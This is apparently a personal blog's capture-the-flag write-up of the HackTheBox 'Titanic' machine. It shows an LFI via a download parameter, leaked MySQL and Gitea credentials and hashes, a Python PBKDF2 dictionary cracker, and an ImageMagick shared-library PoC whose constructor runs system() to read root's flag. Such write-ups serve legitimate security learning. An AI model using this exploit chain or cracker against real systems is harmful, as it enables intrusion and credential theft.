A-Z.fi

Last modified: 2025-03-18

HTB - Titanic

Description

OS: Linux Difficulty: Easy

Recon

Nmap

nmap 10.129.204.19 -T5 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 20:18 EET
Nmap scan report for 10.129.204.19
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Aggressive OS guesses: Linux 5.0 (99%), Linux 5.0 - 5.4 (95%), HP P2000 G3 NAS device (93%), Linux 4.15 - 5.8 (93%), Linux 5.3 - 5.4 (93%), Linux 2.6.32 (92%), Linux 2.6.32 - 3.1 (92%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (92%), Linux 3.7 (92%), Linux 5.0 - 5.5 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT      ADDRESS
1   62.31 ms 10.10.14.1
2   58.83 ms 10.129.204.19

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds

Not much seems to be going on here, so it is safe to assume the initial foothold has to be web-exploit-based.

Website: http://titanic.htb

After adding the domain to /etc/hosts i noticed nothing much is going on the website end of the site either. Just some AI generated images and a form to fill. filling the form downloads a JSON file containing my inputs, so there has to be some way to escape it maybe?

after spending a good 30mins I suddenly realized that maybe it would be a good idea to fire up Burpsuite to take a look around.

enter image description hereHmmmmmm.../download?ticket=6ec5fc7-5465-4a82-a03d-d55e439b4d5c.jsonseems pretty fishy... lets try something. enter image description here As I suspected, this site is vulnerable to a basic LFI. from the /etc/passwd we can figure out that there is one user, and they are named "developer" with that information we can get the user flag. enter image description here

Foothold

Typically id start gathering as much info as I can from a LFI at this point. using burp-suits intruder and a rfi-lfi-payload-list I didnt find anything that would give me the foothold i needed so i tried fuzzing for subdomains.

SIDE NOTE: Normally I'd use wfuzz, I have made the choice to only use FFUF after meeting the guy behind FFUF at Disobey 2025 and getting a s ticker from him. What a cool dude (WHAAAT?!) I'm still in shock.

okay not back to the writeup;

┌──(mcshoothy㉿._.)-[~/…/HTB/machines/ranked/titanic]
└─$ ffuf -w /usr/share/wordlists/wfuzz/DNS/subdomains-top1million-5000.txt  -u "http://FUZZ.titanic.htb" -t 100

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.titanic.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/wfuzz/DNS/subdomains-top1million-5000.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 81ms]
:: Progress: [9985/9985] :: Job [1/1] :: 7692 req/sec ::

New subdomain dev reveals a Gitea page and with it, a mysql password

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

But more importantly the location of some files id like to get my hands on

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

we now know where the data for the gitea is stored. ((/home/developer/data) lets get the gitea database from /home/developer/gitea/data/gitea/gitea.db using the same LFI as before.

opening the db: under USER we can find a hash for two users, administrator, and developer. alongside that we get the hash type and salt.

Username Email Status Hash Algorithm Iterations Derived Key Length Password Hash
root [email protected] Enabled PBKDF2-SHA256 50000 50 cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
Salt 2d149e5fbd1b20cf31db3e3c6a28fc9b
developer [email protected] Enabled PBKDF2-SHA256 50000 50 e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
Salt 8bf3e3452b78544f8bee9400d6936d34

using a little scripting power mixed with some ChatGPT, we get this script that compares the hasher to rockyou.txt to see if we find a match.

import binascii
import hashlib
import concurrent.futures
from colorama import Fore, Style, init
import sys
import time
import argparse

# Initialize colorama
init(autoreset=True)

def pbkdf2_hash(password: str, salt: bytes, iterations: int = 50000, dklen: int = 50) -> bytes:
    """
    Generate a PBKDF2-HMAC-SHA256 hash of the given password using the specified salt and iterations.
    """
    return hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )

def check_password(password: str, salt: bytes, target_hash_bytes: bytes, iterations: int, dklen: int, count: int) -> str:
    """
    Check if the given password matches the target hash.
    """
    hash_value = pbkdf2_hash(password, salt, iterations, dklen)
    sys.stdout.write(f"\r{Fore.CYAN}Checking password {count}: {password}  ")
    sys.stdout.flush()

    if hash_value == target_hash_bytes:
        sys.stdout.write(f"\n{Fore.GREEN}Found matching password: {password}{Style.RESET_ALL}\n")
        return password
    return None

def find_matching_password(dictionary_file: str, target_hash: str, salt: bytes, iterations: int = 50000, dklen: int = 50) -> str:
    """
    Try to find a password in the dictionary that matches the given target hash using multithreading.
    """
    target_hash_bytes = binascii.unhexlify(target_hash)
    found_password = None

    with open(dictionary_file, 'r', encoding='utf-8') as file:
        # Start multithreading pool to process passwords concurrently
        with concurrent.futures.ThreadPoolExecutor() as executor:
            futures = []
            for count, line in enumerate(file, start=1):
                password = line.strip()
                futures.append(executor.submit(check_password, password, salt, target_hash_bytes, iterations, dklen, count))

            # Wait for results and process
            for future in concurrent.futures.as_completed(futures):
                result = future.result()
                if result:
                    found_password = result
                    break

    if found_password is None:
        sys.stdout.write(f"{Fore.RED}Password not found.\n")
    return found_password

# Argument parsing for dynamic input
def parse_arguments():
    parser = argparse.ArgumentParser(description="PBKDF2 hash cracker")
    parser.add_argument("dictionary_file", help="Path to the dictionary (wordlist) file.")
    parser.add_argument("target_hash", help="The target PBKDF2 hash to crack.")
    parser.add_argument("salt", help="The salt used in the PBKDF2 hash.")
    parser.add_argument("--iterations", type=int, default=50000, help="Number of PBKDF2 iterations (default: 50000).")
    parser.add_argument("--dklen", type=int, default=50, help="Length of the derived key (default: 50).")

    return parser.parse_args()

# Example usage
if __name__ == "__main__":
    # Parse command-line arguments
    args = parse_arguments()

    # Convert the salt from hex to bytes
    salt = binascii.unhexlify(args.salt)

    print(f"{Fore.YELLOW}Starting password search...\n")
    start_time = time.time()
    found_password = find_matching_password(args.dictionary_file, args.target_hash, salt, args.iterations, args.dklen)
    end_time = time.time()

    if found_password:
        print(f"{Fore.GREEN}Password found: {found_password}")
    print(f"{Fore.WHITE}Search completed in {end_time - start_time:.2f} seconds.")
python newscirpt.py /usr/share/wordlists/rockyou.txt e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 8bf3e3452b78544f8bee9400d6936d34 --iterations 50000
Starting password search...

Checking password 5623: 25282528
Found matching password: 25282528

using these credentials, we can log in to the server with a user account.

poking around a bit we find /opt/scripts/identify_images.sh which blongs to root, but we have read permissions

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" |
xargs /usr/bin/magick identify >> metadata.log

not going to lie, it took me some time to figure out where this PE was taking me, but eventually I checked the version of the "magic" software

developer@titanic:/opt/scripts$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

and it was vulnerable to ACE using their POC

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
 system("cat /root/root.txt > /home/developer/root.txt");
 exit(0);
}
EOF

by making a small change to the photos like so:

cp home.jpg 1.jpg

in /opt/app/static/assets/images we can trigger our exploit to copy the root flag from /root to the developers home directory.

FunkyHotspot HTB